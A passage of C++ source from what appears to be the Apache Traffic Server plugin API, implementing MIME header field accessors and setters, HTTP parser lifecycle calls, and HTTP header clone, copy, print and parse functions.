// return value of function from void to TSReturnCode.
sdk_assert(sdk_sanity_check_mbuffer(src_bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_mbuffer(dest_bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(src_hdr) == TS_SUCCESS) ||
(sdk_sanity_check_http_hdr_handle(src_hdr) == TS_SUCCESS));
sdk_assert((sdk_sanity_check_mime_hdr_handle(dest_hdr) == TS_SUCCESS) ||
(sdk_sanity_check_http_hdr_handle(dest_hdr) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_field_handle(src_field, src_hdr) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_field_handle(dest_field, dest_hdr) == TS_SUCCESS);
if (!isWriteable(dest_bufp)) {
return TS_ERROR;
}
bool dest_attached;
MIMEFieldSDKHandle *s_handle = (MIMEFieldSDKHandle *)src_field;
MIMEFieldSDKHandle *d_handle = (MIMEFieldSDKHandle *)dest_field;
HdrHeap *d_heap = ((HdrHeapSDKHandle *)dest_bufp)->m_heap;
// FIX: This tortuous detach/change/attach algorithm is due to the
// fact that we can't change the name of an attached header (assertion)
// TODO: This is never used ... is_live() has no side effects, so this should be ok
// to not call, so commented out
// src_attached = (s_handle->mh && s_handle->field_ptr->is_live());
dest_attached = (d_handle->mh && d_handle->field_ptr->is_live());
if (dest_attached) {
mime_hdr_field_detach(d_handle->mh, d_handle->field_ptr, false);
}
mime_field_name_value_set(d_heap, d_handle->mh, d_handle->field_ptr, s_handle->field_ptr->m_wks_idx,
s_handle->field_ptr->m_ptr_name, s_handle->field_ptr->m_len_name, s_handle->field_ptr->m_ptr_value,
s_handle->field_ptr->m_len_value, 0, 0, true);
if (dest_attached) {
mime_hdr_field_attach(d_handle->mh, d_handle->field_ptr, 1, nullptr);
}
return TS_SUCCESS;
}
TSReturnCode
TSMimeHdrFieldClone(TSMBuffer dest_bufp, TSMLoc dest_hdr, TSMBuffer src_bufp, TSMLoc src_hdr, TSMLoc src_field, TSMLoc *locp)
{
// Allow to modify the buffer only
// if bufp is modifiable. If bufp is not modifiable return
// TS_ERROR. If not allowed, return NULL.
sdk_assert(sdk_sanity_check_mbuffer(dest_bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_mbuffer(src_bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(dest_hdr) == TS_SUCCESS) ||
(sdk_sanity_check_http_hdr_handle(dest_hdr) == TS_SUCCESS));
sdk_assert((sdk_sanity_check_mime_hdr_handle(src_hdr) == TS_SUCCESS) ||
(sdk_sanity_check_http_hdr_handle(src_hdr) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_field_handle(src_field, src_hdr) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)locp) == TS_SUCCESS);
if (!isWriteable(dest_bufp)) {
return TS_ERROR;
}
// This is sort of sub-optimal, since we'll check the args again. TODO.
if (TSMimeHdrFieldCreate(dest_bufp, dest_hdr, locp) == TS_SUCCESS) {
TSMimeHdrFieldCopy(dest_bufp, dest_hdr, *locp, src_bufp, src_hdr, src_field);
return TS_SUCCESS;
}
// TSMimeHdrFieldCreate() failed for some reason.
return TS_ERROR;
}
TSReturnCode
TSMimeHdrFieldCopyValues(TSMBuffer dest_bufp, TSMLoc dest_hdr, TSMLoc dest_field, TSMBuffer src_bufp, TSMLoc src_hdr,
TSMLoc src_field)
{
// Allow to modify the buffer only
// if bufp is modifiable. If bufp is not modifiable return
// TS_ERROR. If allowed, return TS_SUCCESS. Changed the
// return value of function from void to TSReturnCode.
sdk_assert(sdk_sanity_check_mbuffer(src_bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_mbuffer(dest_bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(src_hdr) == TS_SUCCESS) ||
(sdk_sanity_check_http_hdr_handle(src_hdr) == TS_SUCCESS));
sdk_assert((sdk_sanity_check_mime_hdr_handle(dest_hdr) == TS_SUCCESS) ||
(sdk_sanity_check_http_hdr_handle(dest_hdr) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_field_handle(src_field, src_hdr) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_field_handle(dest_field, dest_hdr) == TS_SUCCESS);
if (!isWriteable(dest_bufp)) {
return TS_ERROR;
}
MIMEFieldSDKHandle *s_handle = (MIMEFieldSDKHandle *)src_field;
MIMEFieldSDKHandle *d_handle = (MIMEFieldSDKHandle *)dest_field;
HdrHeap *d_heap = ((HdrHeapSDKHandle *)dest_bufp)->m_heap;
MIMEField *s_field, *d_field;
s_field = s_handle->field_ptr;
d_field = d_handle->field_ptr;
mime_field_value_set(d_heap, d_handle->mh, d_field, s_field->m_ptr_value, s_field->m_len_value, true);
return TS_SUCCESS;
}
// TODO: This is implemented horribly slowly, but who's using it anyway?
// If we threaded all the MIMEFields, this function could be easier,
// but we'd have to print dups in order and we'd need a flag saying
// end of dup list or dup follows.
TSMLoc
TSMimeHdrFieldNext(TSMBuffer bufp, TSMLoc hdr, TSMLoc field)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(hdr) == TS_SUCCESS) || (sdk_sanity_check_http_hdr_handle(hdr) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_field_handle(field, hdr) == TS_SUCCESS);
MIMEFieldSDKHandle *handle = (MIMEFieldSDKHandle *)field;
if (handle->mh == nullptr) {
return TS_NULL_MLOC;
}
int slotnum = mime_hdr_field_slotnum(handle->mh, handle->field_ptr);
if (slotnum == -1) {
return TS_NULL_MLOC;
}
while (true) {
++slotnum;
MIMEField *f = mime_hdr_field_get_slotnum(handle->mh, slotnum);
if (f == nullptr) {
return TS_NULL_MLOC;
}
if (f->is_live()) {
MIMEFieldSDKHandle *h = sdk_alloc_field_handle(bufp, handle->mh);
h->field_ptr = f;
return reinterpret_cast<TSMLoc>(h);
}
}
return TS_NULL_MLOC; // Shouldn't happen.
}
TSMLoc
TSMimeHdrFieldNextDup(TSMBuffer bufp, TSMLoc hdr, TSMLoc field)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(hdr) == TS_SUCCESS) || (sdk_sanity_check_http_hdr_handle(hdr) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_field_handle(field, hdr) == TS_SUCCESS);
MIMEHdrImpl *mh = _hdr_mloc_to_mime_hdr_impl(hdr);
MIMEFieldSDKHandle *field_handle = (MIMEFieldSDKHandle *)field;
MIMEField *next = field_handle->field_ptr->m_next_dup;
if (next == nullptr) {
return TS_NULL_MLOC;
}
MIMEFieldSDKHandle *next_handle = sdk_alloc_field_handle(bufp, mh);
next_handle->field_ptr = next;
return (TSMLoc)next_handle;
}
int
TSMimeHdrFieldLengthGet(TSMBuffer bufp, TSMLoc hdr, TSMLoc field)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(hdr) == TS_SUCCESS) || (sdk_sanity_check_http_hdr_handle(hdr) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_field_handle(field, hdr) == TS_SUCCESS);
MIMEFieldSDKHandle *handle = (MIMEFieldSDKHandle *)field;
return mime_field_length_get(handle->field_ptr);
}
const char *
TSMimeHdrFieldNameGet(TSMBuffer bufp, TSMLoc hdr, TSMLoc field, int *length)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(hdr) == TS_SUCCESS) || (sdk_sanity_check_http_hdr_handle(hdr) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_field_handle(field, hdr) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)length) == TS_SUCCESS);
MIMEFieldSDKHandle *handle = reinterpret_cast<MIMEFieldSDKHandle *>(field);
return handle->field_ptr->name_get(length);
}
TSReturnCode
TSMimeHdrFieldNameSet(TSMBuffer bufp, TSMLoc hdr, TSMLoc field, const char *name, int length)
{
// Allow to modify the buffer only
// if bufp is modifiable. If bufp is not modifiable return
// TS_ERROR. If allowed, return TS_SUCCESS. Changed the
// return value of function from void to TSReturnCode.
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(hdr) == TS_SUCCESS) || (sdk_sanity_check_http_hdr_handle(hdr) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_field_handle(field, hdr) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)name) == TS_SUCCESS);
if (!isWriteable(bufp)) {
return TS_ERROR;
}
if (length == -1) {
length = strlen(name);
}
MIMEFieldSDKHandle *handle = (MIMEFieldSDKHandle *)field;
HdrHeap *heap = ((HdrHeapSDKHandle *)bufp)->m_heap;
int attached = (handle->mh && handle->field_ptr->is_live());
if (attached) {
mime_hdr_field_detach(handle->mh, handle->field_ptr, false);
}
handle->field_ptr->name_set(heap, handle->mh, name, length);
if (attached) {
mime_hdr_field_attach(handle->mh, handle->field_ptr, 1, nullptr);
}
return TS_SUCCESS;
}
TSReturnCode
TSMimeHdrFieldValuesClear(TSMBuffer bufp, TSMLoc hdr, TSMLoc field)
{
// Allow to modify the buffer only
// if bufp is modifiable. If bufp is not modifiable return
// TS_ERROR. If allowed, return TS_SUCCESS. Changed the
// return value of function from void to TSReturnCode.
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(hdr) == TS_SUCCESS) || (sdk_sanity_check_http_hdr_handle(hdr) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_field_handle(field, hdr) == TS_SUCCESS);
if (!isWriteable(bufp)) {
return TS_ERROR;
}
MIMEFieldSDKHandle *handle = (MIMEFieldSDKHandle *)field;
HdrHeap *heap = ((HdrHeapSDKHandle *)bufp)->m_heap;
/**
* Modified the string value passed from an empty string ("") to NULL.
* An empty string is also considered to be a token. The correct value of
* the field after this function should be NULL.
*/
mime_field_value_set(heap, handle->mh, handle->field_ptr, nullptr, 0, true);
return TS_SUCCESS;
}
int
TSMimeHdrFieldValuesCount(TSMBuffer bufp, TSMLoc hdr, TSMLoc field)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(hdr) == TS_SUCCESS) || (sdk_sanity_check_http_hdr_handle(hdr) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_field_handle(field, hdr) == TS_SUCCESS);
MIMEFieldSDKHandle *handle = (MIMEFieldSDKHandle *)field;
return mime_field_value_get_comma_val_count(handle->field_ptr);
}
const char *
TSMimeHdrFieldValueStringGet(TSMBuffer bufp, TSMLoc hdr, TSMLoc field, int idx, int *value_len_ptr)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(hdr) == TS_SUCCESS) || (sdk_sanity_check_http_hdr_handle(hdr) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_field_handle(field, hdr) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)value_len_ptr) == TS_SUCCESS);
return TSMimeFieldValueGet(bufp, field, idx, value_len_ptr);
}
time_t
TSMimeHdrFieldValueDateGet(TSMBuffer bufp, TSMLoc hdr, TSMLoc field)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(hdr) == TS_SUCCESS) || (sdk_sanity_check_http_hdr_handle(hdr) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_field_handle(field, hdr) == TS_SUCCESS);
int value_len;
const char *value_str = TSMimeFieldValueGet(bufp, field, -1, &value_len);
if (value_str == nullptr) {
return (time_t)0;
}
return mime_parse_date(value_str, value_str + value_len);
}
int
TSMimeHdrFieldValueIntGet(TSMBuffer bufp, TSMLoc hdr, TSMLoc field, int idx)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(hdr) == TS_SUCCESS) || (sdk_sanity_check_http_hdr_handle(hdr) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_field_handle(field, hdr) == TS_SUCCESS);
int value_len;
const char *value_str = TSMimeFieldValueGet(bufp, field, idx, &value_len);
if (value_str == nullptr) {
return 0;
}
return mime_parse_int(value_str, value_str + value_len);
}
int64_t
TSMimeHdrFieldValueInt64Get(TSMBuffer bufp, TSMLoc hdr, TSMLoc field, int idx)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(hdr) == TS_SUCCESS) || (sdk_sanity_check_http_hdr_handle(hdr) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_field_handle(field, hdr) == TS_SUCCESS);
int value_len;
const char *value_str = TSMimeFieldValueGet(bufp, field, idx, &value_len);
if (value_str == nullptr) {
return 0;
}
return mime_parse_int64(value_str, value_str + value_len);
}
unsigned int
TSMimeHdrFieldValueUintGet(TSMBuffer bufp, TSMLoc hdr, TSMLoc field, int idx)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(hdr) == TS_SUCCESS) || (sdk_sanity_check_http_hdr_handle(hdr) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_field_handle(field, hdr) == TS_SUCCESS);
int value_len;
const char *value_str = TSMimeFieldValueGet(bufp, field, idx, &value_len);
if (value_str == nullptr) {
return 0;
}
return mime_parse_uint(value_str, value_str + value_len);
}
TSReturnCode
TSMimeHdrFieldValueStringSet(TSMBuffer bufp, TSMLoc hdr, TSMLoc field, int idx, const char *value, int length)
{
// Allow to modify the buffer only
// if bufp is modifiable. If bufp is not modifiable return
// TS_ERROR. If allowed, return TS_SUCCESS. Changed the
// return value of function from void to TSReturnCode.
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(hdr) == TS_SUCCESS) || (sdk_sanity_check_http_hdr_handle(hdr) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_field_handle(field, hdr) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)value) == TS_SUCCESS);
if (!isWriteable(bufp)) {
return TS_ERROR;
}
if (length == -1) {
length = strlen(value);
}
TSMimeFieldValueSet(bufp, field, idx, value, length);
return TS_SUCCESS;
}
TSReturnCode
TSMimeHdrFieldValueDateSet(TSMBuffer bufp, TSMLoc hdr, TSMLoc field, time_t value)
{
// Allow to modify the buffer only
// if bufp is modifiable. If bufp is not modifiable return
// TS_ERROR. If allowed, return TS_SUCCESS. Changed the
// return value of function from void to TSReturnCode.
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(hdr) == TS_SUCCESS) || (sdk_sanity_check_http_hdr_handle(hdr) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_field_handle(field, hdr) == TS_SUCCESS);
if (!isWriteable(bufp)) {
return TS_ERROR;
}
char tmp[33];
int len = mime_format_date(tmp, value);
// idx is ignored and we overwrite all existing values
// TSMimeFieldValueSet(bufp, field_obj, idx, tmp, len);
TSMimeFieldValueSet(bufp, field, -1, tmp, len);
return TS_SUCCESS;
}
TSReturnCode
TSMimeHdrFieldValueIntSet(TSMBuffer bufp, TSMLoc hdr, TSMLoc field, int idx, int value)
{
// Allow to modify the buffer only
// if bufp is modifiable. If bufp is not modifiable return
// TS_ERROR. If allowed, return TS_SUCCESS. Changed the
// return value of function from void to TSReturnCode.
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(hdr) == TS_SUCCESS) || (sdk_sanity_check_http_hdr_handle(hdr) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_field_handle(field, hdr) == TS_SUCCESS);
if (!isWriteable(bufp)) {
return TS_ERROR;
}
char tmp[16];
int len = mime_format_int(tmp, value, sizeof(tmp));
TSMimeFieldValueSet(bufp, field, idx, tmp, len);
return TS_SUCCESS;
}
TSReturnCode
TSMimeHdrFieldValueInt64Set(TSMBuffer bufp, TSMLoc hdr, TSMLoc field, int idx, int64_t value)
{
// Allow to modify the buffer only
// if bufp is modifiable. If bufp is not modifiable return
// TS_ERROR. If allowed, return TS_SUCCESS. Changed the
// return value of function from void to TSReturnCode.
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(hdr) == TS_SUCCESS) || (sdk_sanity_check_http_hdr_handle(hdr) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_field_handle(field, hdr) == TS_SUCCESS);
if (!isWriteable(bufp)) {
return TS_ERROR;
}
char tmp[20];
int len = mime_format_int64(tmp, value, sizeof(tmp));
TSMimeFieldValueSet(bufp, field, idx, tmp, len);
return TS_SUCCESS;
}
TSReturnCode
TSMimeHdrFieldValueUintSet(TSMBuffer bufp, TSMLoc hdr, TSMLoc field, int idx, unsigned int value)
{
// Allow to modify the buffer only
// if bufp is modifiable. If bufp is not modifiable return
// TS_ERROR. If allowed, return TS_SUCCESS. Changed the
// return value of function from void to TSReturnCode.
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(hdr) == TS_SUCCESS) || (sdk_sanity_check_http_hdr_handle(hdr) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_field_handle(field, hdr) == TS_SUCCESS);
if (!isWriteable(bufp)) {
return TS_ERROR;
}
char tmp[16];
int len = mime_format_uint(tmp, value, sizeof(tmp));
TSMimeFieldValueSet(bufp, field, idx, tmp, len);
return TS_SUCCESS;
}
TSReturnCode
TSMimeHdrFieldValueAppend(TSMBuffer bufp, TSMLoc hdr, TSMLoc field, int idx, const char *value, int length)
{
// Allow to modify the buffer only
// if bufp is modifiable. If bufp is not modifiable return
// TS_ERROR. If allowed, return TS_SUCCESS. Changed the
// return value of function from void to TSReturnCode.
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(hdr) == TS_SUCCESS) || (sdk_sanity_check_http_hdr_handle(hdr) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_field_handle(field, hdr) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)value) == TS_SUCCESS);
sdk_assert(idx >= 0);
if (!isWriteable(bufp)) {
return TS_ERROR;
}
MIMEFieldSDKHandle *handle = (MIMEFieldSDKHandle *)field;
HdrHeap *heap = ((HdrHeapSDKHandle *)bufp)->m_heap;
if (length == -1) {
length = strlen(value);
}
mime_field_value_extend_comma_val(heap, handle->mh, handle->field_ptr, idx, value, length);
return TS_SUCCESS;
}
TSReturnCode
TSMimeHdrFieldValueStringInsert(TSMBuffer bufp, TSMLoc hdr, TSMLoc field, int idx, const char *value, int length)
{
// Allow to modify the buffer only
// if bufp is modifiable. If bufp is not modifiable return
// TS_ERROR, else return TS_SUCCESS.
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(hdr) == TS_SUCCESS) || (sdk_sanity_check_http_hdr_handle(hdr) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_field_handle(field, hdr) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)value) == TS_SUCCESS);
if (!isWriteable(bufp)) {
return TS_ERROR;
}
if (length == -1) {
length = strlen(value);
}
TSMimeFieldValueInsert(bufp, field, value, length, idx);
return TS_SUCCESS;
}
TSReturnCode
TSMimeHdrFieldValueIntInsert(TSMBuffer bufp, TSMLoc hdr, TSMLoc field, int idx, int value)
{
// Allow to modify the buffer only
// if bufp is modifiable. If bufp is not modifiable return
// TS_ERROR, else return TS_SUCCESS.
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(hdr) == TS_SUCCESS) || (sdk_sanity_check_http_hdr_handle(hdr) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_field_handle(field, hdr) == TS_SUCCESS);
if (!isWriteable(bufp)) {
return TS_ERROR;
}
char tmp[16];
int len = mime_format_int(tmp, value, sizeof(tmp));
TSMimeFieldValueInsert(bufp, field, tmp, len, idx);
return TS_SUCCESS;
}
TSReturnCode
TSMimeHdrFieldValueUintInsert(TSMBuffer bufp, TSMLoc hdr, TSMLoc field, int idx, unsigned int value)
{
// Allow to modify the buffer only
// if bufp is modifiable. If bufp is not modifiable return
// TS_ERROR, else return TS_SUCCESS.
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(hdr) == TS_SUCCESS) || (sdk_sanity_check_http_hdr_handle(hdr) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_field_handle(field, hdr) == TS_SUCCESS);
if (!isWriteable(bufp)) {
return TS_ERROR;
}
char tmp[16];
int len = mime_format_uint(tmp, value, sizeof(tmp));
TSMimeFieldValueInsert(bufp, field, tmp, len, idx);
return TS_SUCCESS;
}
TSReturnCode
TSMimeHdrFieldValueDateInsert(TSMBuffer bufp, TSMLoc hdr, TSMLoc field, time_t value)
{
// Allow to modify the buffer only
// if bufp is modifiable. If bufp is not modifiable return
// TS_ERROR, else return TS_SUCCESS
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(hdr) == TS_SUCCESS) || (sdk_sanity_check_http_hdr_handle(hdr) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_field_handle(field, hdr) == TS_SUCCESS);
if (!isWriteable(bufp)) {
return TS_ERROR;
}
if (TSMimeHdrFieldValuesClear(bufp, hdr, field) == TS_ERROR) {
return TS_ERROR;
}
char tmp[33];
int len = mime_format_date(tmp, value);
// idx ignored, overwrite all existing values
// (void)TSMimeFieldValueInsert(bufp, field_obj, tmp, len, idx);
(void)TSMimeFieldValueSet(bufp, field, -1, tmp, len);
return TS_SUCCESS;
}
TSReturnCode
TSMimeHdrFieldValueDelete(TSMBuffer bufp, TSMLoc hdr, TSMLoc field, int idx)
{
// Allow to modify the buffer only
// if bufp is modifiable. If bufp is not modifiable return
// TS_ERROR. If allowed, return TS_SUCCESS. Changed the
// return value of function from void to TSReturnCode.
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert((sdk_sanity_check_mime_hdr_handle(hdr) == TS_SUCCESS) || (sdk_sanity_check_http_hdr_handle(hdr) == TS_SUCCESS));
sdk_assert(sdk_sanity_check_field_handle(field, hdr) == TS_SUCCESS);
sdk_assert(idx >= 0);
if (!isWriteable(bufp)) {
return TS_ERROR;
}
MIMEFieldSDKHandle *handle = (MIMEFieldSDKHandle *)field;
HdrHeap *heap = ((HdrHeapSDKHandle *)bufp)->m_heap;
mime_field_value_delete_comma_val(heap, handle->mh, handle->field_ptr, idx);
return TS_SUCCESS;
}
/**************/
/* HttpParser */
/**************/
TSHttpParser
TSHttpParserCreate()
{
TSHttpParser parser = reinterpret_cast<TSHttpParser>(ats_malloc(sizeof(HTTPParser)));
http_parser_init((HTTPParser *)parser);
return parser;
}
void
TSHttpParserClear(TSHttpParser parser)
{
sdk_assert(sdk_sanity_check_http_parser(parser) == TS_SUCCESS);
http_parser_clear((HTTPParser *)parser);
}
void
TSHttpParserDestroy(TSHttpParser parser)
{
sdk_assert(sdk_sanity_check_http_parser(parser) == TS_SUCCESS);
http_parser_clear((HTTPParser *)parser);
ats_free(parser);
}
/***********/
/* HttpHdr */
/***********/
TSMLoc
TSHttpHdrCreate(TSMBuffer bufp)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
HTTPHdr h;
h.m_heap = ((HdrHeapSDKHandle *)bufp)->m_heap;
h.create(HTTP_TYPE_UNKNOWN);
return (TSMLoc)(h.m_http);
}
void
TSHttpHdrDestroy(TSMBuffer bufp, TSMLoc obj)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_http_hdr_handle(obj) == TS_SUCCESS);
// No more objects counts in heap or deallocation
// so do nothing!
// HDR FIX ME - Did this free the MBuffer in Pete's old system
}
TSReturnCode
TSHttpHdrClone(TSMBuffer dest_bufp, TSMBuffer src_bufp, TSMLoc src_hdr, TSMLoc *locp)
{
// Allow to modify the buffer only
// if bufp is modifiable. If bufp is not modifiable return
// TS_ERROR. If not allowed, return NULL.
sdk_assert(sdk_sanity_check_mbuffer(dest_bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_mbuffer(src_bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_http_hdr_handle(src_hdr) == TS_SUCCESS);
if (!isWriteable(dest_bufp)) {
return TS_ERROR;
}
HdrHeap *s_heap, *d_heap;
HTTPHdrImpl *s_hh, *d_hh;
s_heap = ((HdrHeapSDKHandle *)src_bufp)->m_heap;
d_heap = ((HdrHeapSDKHandle *)dest_bufp)->m_heap;
s_hh = (HTTPHdrImpl *)src_hdr;
if (s_hh->m_type != HDR_HEAP_OBJ_HTTP_HEADER) {
return TS_ERROR;
}
// TODO: This is never used
// inherit_strs = (s_heap != d_heap ? true : false);
d_hh = http_hdr_clone(s_hh, s_heap, d_heap);
*locp = (TSMLoc)d_hh;
return TS_SUCCESS;
}
TSReturnCode
TSHttpHdrCopy(TSMBuffer dest_bufp, TSMLoc dest_obj, TSMBuffer src_bufp, TSMLoc src_obj)
{
// Allow to modify the buffer only
// if bufp is modifiable. If bufp is not modifiable return
// TS_ERROR. If allowed, return TS_SUCCESS. Changed the
// return value of function from void to TSReturnCode.
sdk_assert(sdk_sanity_check_mbuffer(src_bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_mbuffer(dest_bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_http_hdr_handle(dest_obj) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_http_hdr_handle(src_obj) == TS_SUCCESS);
if (!isWriteable(dest_bufp)) {
return TS_ERROR;
}
bool inherit_strs;
HdrHeap *s_heap, *d_heap;
HTTPHdrImpl *s_hh, *d_hh;
s_heap = ((HdrHeapSDKHandle *)src_bufp)->m_heap;
d_heap = ((HdrHeapSDKHandle *)dest_bufp)->m_heap;
s_hh = (HTTPHdrImpl *)src_obj;
d_hh = (HTTPHdrImpl *)dest_obj;
if ((s_hh->m_type != HDR_HEAP_OBJ_HTTP_HEADER) || (d_hh->m_type != HDR_HEAP_OBJ_HTTP_HEADER)) {
return TS_ERROR;
}
inherit_strs = (s_heap != d_heap ? true : false);
TSHttpHdrTypeSet(dest_bufp, dest_obj, (TSHttpType)(s_hh->m_polarity));
http_hdr_copy_onto(s_hh, s_heap, d_hh, d_heap, inherit_strs);
return TS_SUCCESS;
}
void
TSHttpHdrPrint(TSMBuffer bufp, TSMLoc obj, TSIOBuffer iobufp)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_http_hdr_handle(obj) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_iocore_structure(iobufp) == TS_SUCCESS);
MIOBuffer *b = (MIOBuffer *)iobufp;
IOBufferBlock *blk;
HTTPHdr h;
int bufindex;
int tmp, dumpoffset;
int done;
SET_HTTP_HDR(h, bufp, obj);
ink_assert(h.m_http->m_type == HDR_HEAP_OBJ_HTTP_HEADER);
dumpoffset = 0;
do {
blk = b->get_current_block();
if (!blk || blk->write_avail() == 0) {
b->add_block();
blk = b->get_current_block();
}
bufindex = 0;
tmp = dumpoffset;
done = h.print(blk->end(), blk->write_avail(), &bufindex, &tmp);
dumpoffset += bufindex;
b->fill(bufindex);
} while (!done);
}
TSParseResult
TSHttpHdrParseReq(TSHttpParser parser, TSMBuffer bufp, TSMLoc obj, const char **start, const char *end)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_http_hdr_handle(obj) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)start) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)*start) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)end) == TS_SUCCESS);
if (!isWriteable(bufp)) {
return TS_PARSE_ERROR;
}
HTTPHdr h;
SET_HTTP_HDR(h, bufp, obj);
ink_assert(h.m_http->m_type == HDR_HEAP_OBJ_HTTP_HEADER);
TSHttpHdrTypeSet(bufp, obj, TS_HTTP_TYPE_REQUEST);
return (TSParseResult)h.parse_req((HTTPParser *)parser, start, end, false);
}
TSParseResult
TSHttpHdrParseResp(TSHttpParser parser, TSMBuffer bufp, TSMLoc obj, const char **start, const char *end)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_http_hdr_handle(obj) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)start) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)*start) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)end) == TS_SUCCESS);
if (!isWriteable(bufp)) {
return TS_PARSE_ERROR;
}
HTTPHdr h;
SET_HTTP_HDR(h, bufp, obj);
